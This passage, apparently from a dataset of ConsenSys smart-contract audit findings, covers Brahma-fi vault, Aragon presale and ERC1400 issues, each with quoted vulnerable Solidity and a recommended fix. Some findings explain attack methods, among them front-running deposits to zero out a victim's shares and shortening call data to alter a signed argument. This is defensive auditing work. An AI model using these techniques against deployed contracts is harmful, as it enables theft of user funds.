swapped for ETH. This is done by having the ConvexPositionHandler contract call the reward claims API from Convex via baseRewardPool.getReward(), which transfers the reward tokens to the handler s address. Then, the tokens are iterated through and sent to the harvester to be swapped from ConvexPositionHandler by getting their list from harvester.rewardTokens() and calling harvester.harvest() code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L274-L290 // get list of tokens to transfer to harvester address[] memory rewardTokens = harvester.rewardTokens(); //transfer them uint256 balance; for (uint256 i = 0; i < rewardTokens.length; i++) { balance = IERC20(rewardTokens[i]).balanceOf(address(this)); if (balance > 0) { IERC20(rewardTokens[i]).safeTransfer( address(harvester), balance ); // convert all rewards to WETH harvester.harvest(); However, harvester.rewardTokens() doesn t have the LDO token s address in its list, so they will not be transferred to the harvester to be swapped. code/contracts/ConvexExecutor/Harvester.sol:L77-L82 function rewardTokens() external pure override returns (address[] memory) { address[] memory rewards = new address[](2); rewards[0] = address(crv); rewards[1] = address(cvx); return rewards; As a result, harvester.harvest() will not be able to execute its _swapLidoForWETH() function since its ldoBalance will be 0. This results in missed rewards and therefore yield for the vault as part of its normal flow. There is a possible mitigation in the current state of the contract that would require governance to call sweep() on the LDO balance from the BaseTradeExecutor contract (that ConvexPositionHandler inherits) and then transferring those LDO tokens to the harvester contract to perform the swap at a later rewards claim. This, however, requires transactions separate from the intended flow of the system as well as governance intervention. Recommendation Add the LDO token address to the rewardTokens() function by adding the following line rewards[2] = address(ldo); ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.7 Keeper design complexity ", "body": " Description The current design of the protocol relies on the keeper being operated correctly in a complex manner. Since the offchain code for the keeper wasn t in scope of this audit, the following is a commentary on the complexity of the keeper operations in the context of the contracts. Keeper logic such as the order of operations and function argument parameters with log querying are some examples where if the keeper doesn t execute them correctly, there may be inconsistencies and issues with accounting of vault shares and vault funds resulting in unexpected behaviour. While it may represent little risk or issues to the current Brahma-fi team as the vault is recently live, the keeper logic and exact steps should be well documented so that public keepers (if and when they are enabled) can execute the logic securely and future iterations of the vault code can account for any intricacies of the keeper logic. Examples 1. Order of operations: Convex rewards & new depositors profiting at the expense of old depositors yielded reward tokens. As part of the vault s strategy, the depositors ETH is provided to Curve and the LP tokens are staked in Convex, which yield rewards such as CRV, CVX, and LDO tokens. As new depositors provide their ETH, the vault shares minted for their deposits will be less compared to old deposits as they account for the increasing value of LP tokens staked in these pools. In other words, if the first depositor provides 1 ETH, then when a new depositor provides 1 ETH much later, the new depositor will get less shares back as the totalVaultFunds() will increase: code/contracts/Vault.sol:L97-L99 shares = totalSupply() > 0 ? (totalSupply() * amountIn) / totalVaultFunds() : amountIn; code/contracts/Vault.sol:L127-L130 function totalVaultFunds() public view returns (uint256) { return IERC20(wantToken).balanceOf(address(this)) + totalExecutorFunds(); code/contracts/ConvexTradeExecutor.sol:L21-L23 function totalFunds() public view override returns (uint256, uint256) { return ConvexPositionHandler.positionInWantToken(); code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L121-L137 function positionInWantToken() public view override returns (uint256, uint256) uint256 stakedLpBalanceInETH, uint256 lpBalanceInETH, uint256 ethBalance ) = _getTotalBalancesInETH(true); return ( stakedLpBalanceInETH + lpBalanceInETH + ethBalance, block.number ); However, this does not account for the reward tokens yielded throughout that time. From the smart contract logic alone, there is no requirement to first execute the reward token harvest. It is up to the keeper to execute ConvexTradeExecutor.claimRewards in order to claim and swap their rewards into ETH, which only then will be included into the yield in the above ConvexPositionHandler.positionInWantToken function. If this is not done prior to processing new deposits and minting new shares, new depositors would unfairly benefit from the reward tokens yield that was generated before they deposited but accounted for in the vault funds only after they deposited. 2. Order of operations: closing Lyra options before processing new deposits. The other part of the vault s strategy is utilising the yield from Convex to purchase options from Lyra on Optimism. While Lyra options are risky and can become worthless in the event of bad trades, only yield is used for them, therefore keeping user deposits initial value safe. However, their value could also yield significant returns, increasing the overall funds of the vault. Just as with ConvexTradeExecutor, LyraTradeExecutor also has a totalFunds() function that feeds into the vault s totalVaultFunds() function. In Lyra s case, however, it is a manually set value by the keeper that is supposed to represent the value of Lyra L2 options: code/contracts/LyraTradeExecutor.sol:L42-L53 function totalFunds() public view override returns (uint256 posValue, uint256 lastUpdatedBlock) return ( positionInWantToken.posValue + IERC20(vaultWantToken()).balanceOf(address(this)), positionInWantToken.lastUpdatedBlock ); code/contracts/LyraTradeExecutor.sol:L61-L63 function setPosValue(uint256 _posValue) public onlyKeeper { LyraPositionHandler._setPosValue(_posValue); code/contracts/LyraExecutor/LyraPositionHandler.sol:L218-L221 function _setPosValue(uint256 _posValue) internal { positionInWantToken.posValue = _posValue; positionInWantToken.lastUpdatedBlock = block.number; Solely from the smart contract logic, there is a possibility that a user deposits when Lyra options are valued high, meaning the total vault funds are high as well, thus decreasing the amount of shares the user would have received if it weren t for the Lyra options value. Consequently, if after the deposit the Lyra options become worthless, decreasing the total vault funds, the user s newly minted shares will now represent less than what they have deposited. While this is not currently mitigated by smart contract logic, it may be worked around by the keeper first settling and closing all Lyra options and transferring all their yielded value in ETH, if any, to the Convex trade executor. Only then the keeper would process new deposits and mint new shares. This order of operations is critical to maintain the vault s intended safe strategy of maintaining the user s deposited value, and is dependent entirely on the keeper offchain logic. Recommendation Document the exact order of operations, steps, necessary logs and parameters that keepers need to keep track of in order for the vault strategy to succeed. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.8 Vault.deposit - Possible front running attack ", "body": " Description To determine the number of shares to mint to a depositor, (totalSupply() * amountIn) / totalVaultFunds() is used. Potential attackers can spot a call to Vault.deposit and front-run it with a transaction that sends tokens to the contract, causing the victim to receive fewer shares than what he expected. In case totalVaultFunds() is greater than totalSupply() * amountIn, then the number of shares the depositor receives will be 0, although amountIn of tokens will be still pulled from the depositor s balance. An attacker with access to enough liquidity and to the mem-pool data can spot a call to Vault.deposit(amountIn, receiver) and front-run it by sending at least totalSupplyBefore * (amountIn - 1) + 1 tokens to the contract . This way, the victim will get 0 shares, but amountIn will still be pulled from its account balance. Now the price for a share is inflated, and all shareholders can redeem this profit using Vault.withdraw. Recommendation The specific case that s mentioned in the last paragraph can be mitigated by adding a validation check to Vault.Deposit enforcing that shares > 0. However, it will not solve the general case since the victim can still lose value due to rounding errors. In order to fix that, Vault.Deposit should validate that shares >= amountMin where amountMin is an argument that should be determined by the depositor off-chain. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.9 Approving MAX_UINT amount of ERC20 tokens ", "body": " Description Approving the maximum value of uint256 is a known practice to save gas. However, this pattern was proven to increase the impact of an attack many times in the past, in case the approved contract gets hacked. Examples code/contracts/BaseTradeExecutor.sol:L19 IERC20(vaultWantToken()).approve(vault, MAX_INT); code/contracts/Batcher/Batcher.sol:L48 IERC20(vaultInfo.tokenAddress).approve(vaultAddress, type(uint256).max); code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L106-L112 IERC20(LP_TOKEN).safeApprove(ETH_STETH_POOL, type(uint256).max); // Approve max LP tokens to convex booster IERC20(LP_TOKEN).safeApprove( address(CONVEX_BOOSTER), type(uint256).max ); code/contracts/ConvexExecutor/Harvester.sol:L65-L69 crv.safeApprove(address(crveth), type(uint256).max); // max approve CVX to CVX/ETH pool on curve cvx.safeApprove(address(cvxeth), type(uint256).max); // max approve LDO to uniswap swap router ldo.safeApprove(address(uniswapRouter), type(uint256).max); code/contracts/LyraL2/LyraPositionHandlerL2.sol:L63-L71 IERC20(wantTokenL2).safeApprove( address(UniswapV3Controller.uniswapRouter), type(uint256).max ); // approve max susd balance to uniV3 router LyraController.sUSD.safeApprove( address(UniswapV3Controller.uniswapRouter), type(uint256).max ); Recommendation Consider approving the exact amount that s needed to be transferred, or alternatively, add an external function that allows the revocation of approvals. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.10 Batcher.depositFunds may allow for more deposits than vaultInfo.maxAmount ", "body": " Description As part of a gradual rollout strategy, the Brahma-fi system of contracts has a limit of how much can be deposited into the protocol. This is implemented through the Batcher contract that allows users to deposit into it and keep the amount they have deposited in the depositLedger[recipient] state variable. In order to cap how much is deposited, the user s input amountIn is evaluated within the following statement: code/contracts/Batcher/Batcher.sol:L109-L116 require( IERC20(vaultInfo.vaultAddress).totalSupply() + pendingDeposit - pendingWithdrawal + amountIn <= vaultInfo.maxAmount, \"MAX_LIMIT_EXCEEDED\" ); However, while pendingDeposit, amountIn, and vaultInfo.maxAmount are denominated in the vault asset token (WETH in our case), IERC20(vaultInfo.vaultAddress).totalSupply() and pendingWithdrawal represent vault shares tokens, creating potential mismatches in this evaluation. Recommendation Consider either documenting this potential discrepancy or keeping track of all deposits in a state variable and using that inside the require statement.. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.11 The Deposit and Withdraw event are always emitted with zero amount ", "body": " Description The events emitted during the deposit or withdraw are supposed to contain the relevant amounts of tokens involved in these actions. But in fact the current balance of the address is used in both cases. These balances will be equal to zero by that time: code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L151-L155 IWETH9(address(wantToken)).withdraw(depositParams._amount); _convertEthIntoLpToken(address(this).balance); emit Deposit(address(this).balance); code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L207-L209 IWETH9(address(wantToken)).deposit{value: address(this).balance}(); emit Withdraw(address(this).balance); ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.12 BaseTradeExecutor.confirmDeposit | confirmWithdraw - Violation of the checks-effects-interactions pattern ", "body": " Description Both confirmDeposit, confirmWithdraw might be re-entered by the keeper (in case it is a contract), in case the derived contract allows the execution of untrusted code. Examples code/contracts/BaseTradeExecutor.sol:L57-L61 function confirmDeposit() public override onlyKeeper { require(depositStatus.inProcess, \"DEPOSIT_COMPLETED\"); _confirmDeposit(); depositStatus.inProcess = false; code/contracts/BaseTradeExecutor.sol:L69-L73 function confirmWithdraw() public override onlyKeeper { require(withdrawalStatus.inProcess, \"WIHDRW_COMPLETED\"); _confirmWithdraw(); withdrawalStatus.inProcess = false; Recommendation Although the impact is very limited, it is recommended to implement the checks-effects-interactions in both functions. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.13 Batcher doesn t work properly with arbitrary tokens ", "body": " Description The Batcher and the Vault contracts initially operate with ETH and WETH. But the contracts are supposed to be compatible with any other ERC-20 tokens. For example, in the Batcher.deposit function, there is an option to transfer ETH instead of the token, which should only be happening if the token is WETH. Also, the token is named WETH, but if the intention is to use the Batcher contract with arbitrary tokens token, it should be named differently. code/contracts/Batcher/Batcher.sol:L89-L100 if (ethSent > 0) { amountIn = ethSent; WETH.deposit{value: ethSent}(); /// If no wei sent, use amountIn and transfer WETH from txn sender else { IERC20(vaultInfo.tokenAddress).safeTransferFrom( msg.sender, address(this), amountIn ); ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "6.1 EOPBCTemplate - permission documentation inconsistencies ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by adding the undocumented and deviating permissions to the documentation. Description Undocumented The template documentation provides an overview of the permissions set with the template. The following permissions are set by the template contract but are not documented in the accompanied fundraising/templates/externally_owned_presale_bonding_curve/README.md. TokenManager code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L220-L221 _createPermissions(_acl, grantees, _fundraisingApps.bondedTokenManager, _fundraisingApps.bondedTokenManager.MINT_ROLE(), _owner); _acl.createPermission(_fundraisingApps.marketMaker, _fundraisingApps.bondedTokenManager, _fundraisingApps.bondedTokenManager.BURN_ROLE(), _owner); code/fundraising/templates/externally_owned_presale_bonding_curve/eopbc.yaml:L33-L44 Inconsistent app: anj-token-manager role: MINT_ROLE grantee: market-maker manager: owner app: anj-token-manager role: MINT_ROLE grantee: presale manager: owner app: anj-token-manager role: BURN_ROLE grantee: market-maker manager: owner Inconsistent The following permissions are set by the template but are inconsistent to the outline in the documentation: Controller owner has the following permissions even though they are documented as not being set https://github.com/ConsenSys/aragonone-presale-audit-2019-11/blob/9ddae8c7fde9dea3af3982b965a441239d81f370/code/fundraising/templates/externally_owned_presale_bonding_curve/README.md#controller. code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L239-L240 _acl.createPermission(_owner, _fundraisingApps.controller, _fundraisingApps.controller.UPDATE_BENEFICIARY_ROLE(), _owner); _acl.createPermission(_owner, _fundraisingApps.controller, _fundraisingApps.controller.UPDATE_FEES_ROLE(), _owner); Recommendation For transparency, all permissions set-up by the template must be documented. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.2 EOPBCTemplate - AppId of BalanceRedirectPresale should be different from AragonBlack/Presale namehash to avoid collisions ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by generating a unique APMNameHash for Description The template references the new presale contract with apmNamehash 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5. However, this namehash is already used by the aragonBlack/Presale contract. To avoid confusion and collision a unique apmNamehash should be used for this variant of the contract. Note that the contract that is referenced from an apmNamehash is controlled by the ENS resolver that is configured when deploying the template contract. Using the same namehash for both variants of the contract does not allow a single registry to simultaneously provide both variants of the contract and might lead to confusion as to which application is actually deployed. This also raises the issue that the ENS registry must be verified before actually using the contract as a malicious registry could force the template to deploy potentially malicious applications. aragonOne/Fundraising: code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L32 bytes32 private constant PRESALE_ID = 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5; aragonBlack/Fundraising: templates/multisig/contracts/FundraisingMultisigTemplate.sol:L35 bytes32 private constant PRESALE_ID = 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5; bytes32 private constant PRESALE_ID = 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5; Recommendation Create a new apmNamehash for BalanceRedirectPresale. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.3 BalanceRedirectPresale - Presale can be extended indefinitely ", "body": " Resolution This issue was addressed with the following statement: It is a very reasonable concern, but this is the intended behavior. That modification is permissioned and that OPEN_ROLE is going to be held by the Aragon Network Dao, so we expect a reasonable use of it. We may document it and make it clear that this is possible. Description The OPEN_ROLE can indefinitely extend the Presale even after users contributed funds to it by adjusting the presale period. The period might be further manipulated to avoid that token trading in the MarketMaker is opened. code/fundraising/apps/presale/contracts/BalanceRedirectPresale.sol:L136-L138 function setPeriod(uint64 _period) external auth(OPEN_ROLE) { _setPeriod(_period); code/fundraising/apps/presale/contracts/BalanceRedirectPresale.sol:L253-L257 function _setPeriod(uint64 _period) internal { require(_period > 0, ERROR_TIME_PERIOD_ZERO); require(openDate == 0 || openDate + _period > getTimestamp64(), ERROR_INVALID_TIME_PERIOD); period = _period; Recommendation Do not allow to extend the presale after funds have been contributed to it or only allow period adjustments in State.PENDING. ", "labels": ["Consensys", "Major", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.4 Repository structure - Create a clean repository containing one Aragon Application unless changes are contributed upstream Deferred", "body": " Resolution The issue has been deferred pending internal discussion. Description The repository is a fork of AragonBlack/fundraising. The main development repository for Aragon Fundraising is the origin repository at AragonBlock. This repository duplicates a state of the upstream repository that can quickly get out of sync and therefore hard to maintain. It is unclear if both repositories will live side-by-side or if the BalanceRedirectPresale variant is contributed upstream. Recommendation In case changes are not planned to be contributed upstream it is recommended to create a clean Aragon Application from scratch removing any unused or duplicated files. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.5 BalanceRedirectPresale - Tokens vest during the Presale phase ", "body": " Resolution The issue was addressed with the following statement: This presale version is intended to be used along with the Externally Owned Presale and Bonding Curve Template, which doesn t have a Voting app, therefore contributors doesn t have any voting power. The use case is the deployment of Aragon Network Jurors Token (ANJ) for the Aragon Court, which is not going to be active before the presale starts, so we don t see any potential issue here. Description Tokens are directly minted and assigned to contributors during the Presale. While this might not be an issue if the minted token does not give any voting power of some sort in a DAO it can be a problem for scenarios where contributors get stake in return for contributions. Recommendation Vest tokens for contributors after the presale finishes. In case this is the expected we suggest to add a note to the documentation to make potential users aware of this behaviour that might have security implications if contributors get stake in return for their investments. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.6 BalanceRedirectPresale - setPeriod uint64 overflow in validation check ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by performing the addition using Description code/fundraising/apps/presale/contracts/BalanceRedirectPresale.sol:L253-L257 function _setPeriod(uint64 _period) internal { require(_period > 0, ERROR_TIME_PERIOD_ZERO); require(openDate == 0 || openDate + _period > getTimestamp64(), ERROR_INVALID_TIME_PERIOD); period = _period; Recommendation Use SafeMath which is already imported to protect from overflow scenarios. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.7 EOPBCTemplate - misleading method names _cacheFundraisingApps and _cacheFundraisingParams ", "body": " Resolution Fixed with aragonone/fundraising@0ce7c72 by renaming the functions. Description The methods _cacheFundraisingApps and _cacheFundraisingParams suggest that parameters are cached as state variables in the contract similar to the multi-step deployment contract used for AragonBlack/Fundraising. However, the methods are just returning memory structs. code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L254-L300 function _cacheFundraisingApps( Agent _reserve, Presale _presale, MarketMaker _marketMaker, Tap _tap, Controller _controller, TokenManager _tokenManager internal returns (FundraisingApps memory fundraisingApps) fundraisingApps.reserve = _reserve; fundraisingApps.presale = _presale; fundraisingApps.marketMaker = _marketMaker; fundraisingApps.tap = _tap; fundraisingApps.controller = _controller; fundraisingApps.bondedTokenManager = _tokenManager; function _cacheFundraisingParams( address _owner, string _id, ERC20 _collateralToken, MiniMeToken _bondedToken, uint64 _period, uint256 _exchangeRate, uint64 _openDate, uint256 _reserveRatio, uint256 _batchBlocks, uint256 _slippage internal returns (FundraisingParams fundraisingParams) fundraisingParams = FundraisingParams({ owner: _owner, id: _id, collateralToken: _collateralToken, bondedToken: _bondedToken, period: _period, exchangeRate: _exchangeRate, openDate: _openDate, reserveRatio: _reserveRatio, batchBlocks: _batchBlocks, slippage: _slippage }); Recommendation The functions are only called once throughout the deployment process. The structs can therefore be created directly in the main method. Otherwise rename the functions to properly reflect their purpose. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.8 EOPBCTemplate - Pool should be Agent or Reserve ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by replacing Description The documentation refers to an non-existent Pool application. code/fundraising/templates/externally_owned_presale_bonding_curve/README.md:L58-L68 | App | Permission | Grantee | Manager | | ---- | ---------------------- | ---------------- | ---------------- | | Pool | SAFE_EXECUTE | Owner | Owner | | Pool | ADD_PROTECTED_TOKEN | Controller | Owner | | Pool | REMOVE_PROTECTED_TOKEN | NULL | NULL | | Pool | EXECUTE | NULL | NULL | | Pool | DESIGNATE_SIGNER | NULL | NULL | | Pool | ADD_PRESIGNED_HASH | NULL | NULL | | Pool | RUN_SCRIPT | NULL | NULL | | Pool | TRANSFER | MarketMaker | Owner | Recommendation Pool should be Agent or Reserve. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.9 EOPBCTemplate - inconsistent storage location declaration ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by adding the missing storage location declaration. Description _cacheFundraisingParams() does not explicitly declare the return value memory location. code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L273-L286 function _cacheFundraisingParams( address _owner, string _id, ERC20 _collateralToken, MiniMeToken _bondedToken, uint64 _period, uint256 _exchangeRate, uint64 _openDate, uint256 _reserveRatio, uint256 _batchBlocks, uint256 _slippage internal returns (FundraisingParams fundraisingParams) _cacheFundraisingApps() explicitly declares to return a copy of the storage struct. code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L254-L271 function _cacheFundraisingApps( Agent _reserve, Presale _presale, MarketMaker _marketMaker, Tap _tap, Controller _controller, TokenManager _tokenManager internal returns (FundraisingApps memory fundraisingApps) fundraisingApps.reserve = _reserve; fundraisingApps.presale = _presale; fundraisingApps.marketMaker = _marketMaker; fundraisingApps.tap = _tap; fundraisingApps.controller = _controller; fundraisingApps.bondedTokenManager = _tokenManager; Recommendation Storage declarations should be consistent. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.10 EOPBCTemplate - Keep the template as closely aligned to the audited Company DAO-Template provided by Aragon ", "body": " Resolution The issue was addressed with aragonone/fundraising@bafe100 changing the main deployment method from Description The EOPBCTemplate is a simplified variant of the AragonBlack/FundraisingMultisigTemplate. The FundraisingMultisigTemplate is initially based on the Aragon/DAO-templates/company-board template. Please note that the DAO-templates provided by Aragon have recently been audited. The EOPBCTemplate is similar to the setup established with Aragon/DAO-templates/company. The scenario deploys in one step. However, interface names are different to the audited DAO-template variant (installFundraisingApps vs newInstance). We recommend the template and interface names to be kept as close as possible to the audited company template which established the entry point for deploying a one-step template as newInstance. Recommendation Take the Aragon/DAO-templates/company template as a starting point and add relevant parts for the presale variant. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "6.11 EOPBCTemplate - EtherTokenConstant is never used ", "body": " Resolution Fixed with aragonone/fundraising@bafe100 by removing the Description The constant value EtherTokenConstant.ETH is never used. code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L3 import \"@aragon/os/contracts/common/EtherTokenConstant.sol\"; code/fundraising/templates/externally_owned_presale_bonding_curve/contracts/EOPBCTemplate.sol:L21 contract EOPBCTemplate is EtherTokenConstant, BaseTemplate { Recommendation Remove all references to EtherTokenConstant. 7 Tool-Based Analysis Several tools were used to perform an automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "7.2 Ethlint", "body": " Ethlint is an open-source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: $ solium --version Solium version 1.2.5 $ solium -d contracts contracts/EOPBCTemplate.sol 118:8 warning Line exceeds the limit of 145 characters max-len 208:8 warning Line exceeds the limit of 145 characters max-len 221:8 warning Line exceeds the limit of 145 characters max-len 224:8 warning Line exceeds the limit of 145 characters max-len 231:8 warning Line exceeds the limit of 145 characters max-len 232:8 warning Line exceeds the limit of 145 characters max-len 233:8 warning Line exceeds the limit of 145 characters max-len 234:8 warning Line exceeds the limit of 145 characters max-len 235:8 warning Line exceeds the limit of 145 characters max-len 236:8 warning Line exceeds the limit of 145 characters max-len 237:8 warning Line exceeds the limit of 145 characters max-len 265:8 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 266:8 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 267:8 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 268:8 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 269:8 warning Assignment operator must have exactly single space on both sides of it. operator-whitespace 289:13 warning Name 'owner': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 290:13 warning Name 'id': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 292:13 warning Name 'bondedToken': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 293:13 warning Name 'period': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 294:13 warning Name 'exchangeRate': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 295:13 warning Name 'openDate': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 296:13 warning Name 'reserveRatio': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 297:13 warning Name 'batchBlocks': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace 298:13 warning Name 'slippage': Only \"N: V\", \"N : V\" or \"N:V\" spacing style should be used in Name-Value Mapping. whitespace ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "7.3 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers (please use horizontal scroll to view all columns): ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonone-aragon-network-presale/"}, {"title": "4.1 ERC1400ERC20 whitelist circumvents partition restrictions ", "body": " Resolution This is fixed in ConsenSys/ERC1400#13. Description ERC1400/1410 enable partially fungible tokens in that not all tokens are equivalent. A specific use case is placing restrictions on some tokens, such as lock-up periods. The whitelist in ERC1400ERC20 circumvents these restrictions. When a token holder uses the ERC20 transfer function, tokens are transferred from that user s default partitions , which a user can choose themselves by calling ERC1410.setDefaultPartitions. This means they can transfer tokens from any partition, and the only restriction that s placed on the transfer is that the recipient must be whitelisted. It should be noted that the comment and error message around the whitelisting feature suggests that it is meant to be applied to both the sender and recipient: code/contracts/token/ERC20/ERC1400ERC20.sol:L24-L30 /** @dev Modifier to verify if sender and recipient are whitelisted. / modifier isWhitelisted(address recipient) { require(_whitelisted[recipient], \"A3: Transfer Blocked - Sender lockup period not ended\"); _; Remediation There are many possibilities, but here are concrete suggestions for addressing this: Require whitelisting both the sender and recipient, and make sure that whitelisted accounts only own (and will only own) unrestricted tokens. Make sure that the only whitelisted recipients are those that apply partition restrictions when receiving tokens. (I.e. they implement the modified ERC777 receiving hook, examine the source partition, and reject transfers that should not occur.) Instead of implementing the ERC20 interface on top of the ERC1400 token, support transferring out of the ERC1400 token and into a standard ERC20 token. Partition restrictions can then be applied on the ERC1400 transfer, and once ERC20 tokens are obtained, they can be transferred without restriction. Don t allow token holders to set their own default partitions. Rather, have the token specify a single, unrestricted partition that is used for all ERC20 transfers. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.2 Certificate controllers do not always constrain the last argument ", "body": " Resolution The existing back end already does its own ABI encoding, which means it s not vulnerable to this issue. Documentation has been added in https://gitlab.com/ConsenSys/client/fr/dauriel/smart-contracts/certificate-controller/merge_requests/9 to ensure future maintainers understand this potential issue. Description The certificate controllers (CertificateControllerNonce and CertificateControllerSalt) are used by passing a signature as a final argument in a function call. This signature is over the other arguments to the function. Specifically, the signature must match the call data that precedes the signature. The way this is implemented assumes standard ABI encoding of parameters, but there s actually some room for manipulation by a malicious user. This manipulation can allow the user to change some of the call data without invalidating the signature. The following code is from CertificateControllerNonce, but similar logic applies to CertificateControllerSalt: code2/contracts/CertificateControllerNonce.sol:L127-L134 bytes memory payload; assembly { let payloadsize := sub(calldatasize, 160) payload := mload(0x40) // allocate new memory mstore(0x40, add(payload, and(add(add(payloadsize, 0x20), 0x1f), not(0x1f)))) // boolean trick for padding to 0x40 mstore(payload, payloadsize) // set length calldatacopy(add(add(payload, 0x20), 4), 4, sub(payloadsize, 4)) Here the signature is over all call data except the final 160 bytes. 160 bytes makes sense because the byte array is length 97, and it s preceded by a 32-byte size. This is a total of 129 bytes, and typical ABI encoded pads this to the next multiple of 32, which is 160. If an attacker does not pad their arguments, they can use just 129 bytes for the signature or even 128 bytes if the v value happens to be 0. This means that when checking the signature, not only will the signature be excluded, but also the 31 or 32 bytes that come before the signature. This means the attacker can call a function with a different final argument than the one that was signed. That final argument is, in many cases, the number of tokens to transfer, redeem, or issue. Mitigating factors For this to be exploitable, the attacker has to be able to obtain a signature over shortened call data. If the signer accepts raw arguments and does its own ABI encoding with standard padding, then there s likely no opportunity for an attacker to exploit this vulnerability. (They can shorten the call data length when they make the function call later, but the signature won t match.) Remediation We have two suggestions for how to address this: Instead of signatures being checked directly against call data, compute a new hash based on the decoded values, e.g. keccak256(abi.encode(argument1, argument2, ...)). Address this at the signing layer (off chain) by doing the ABI encoding there and denying an attacker the opportunity to construct their own call data. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": 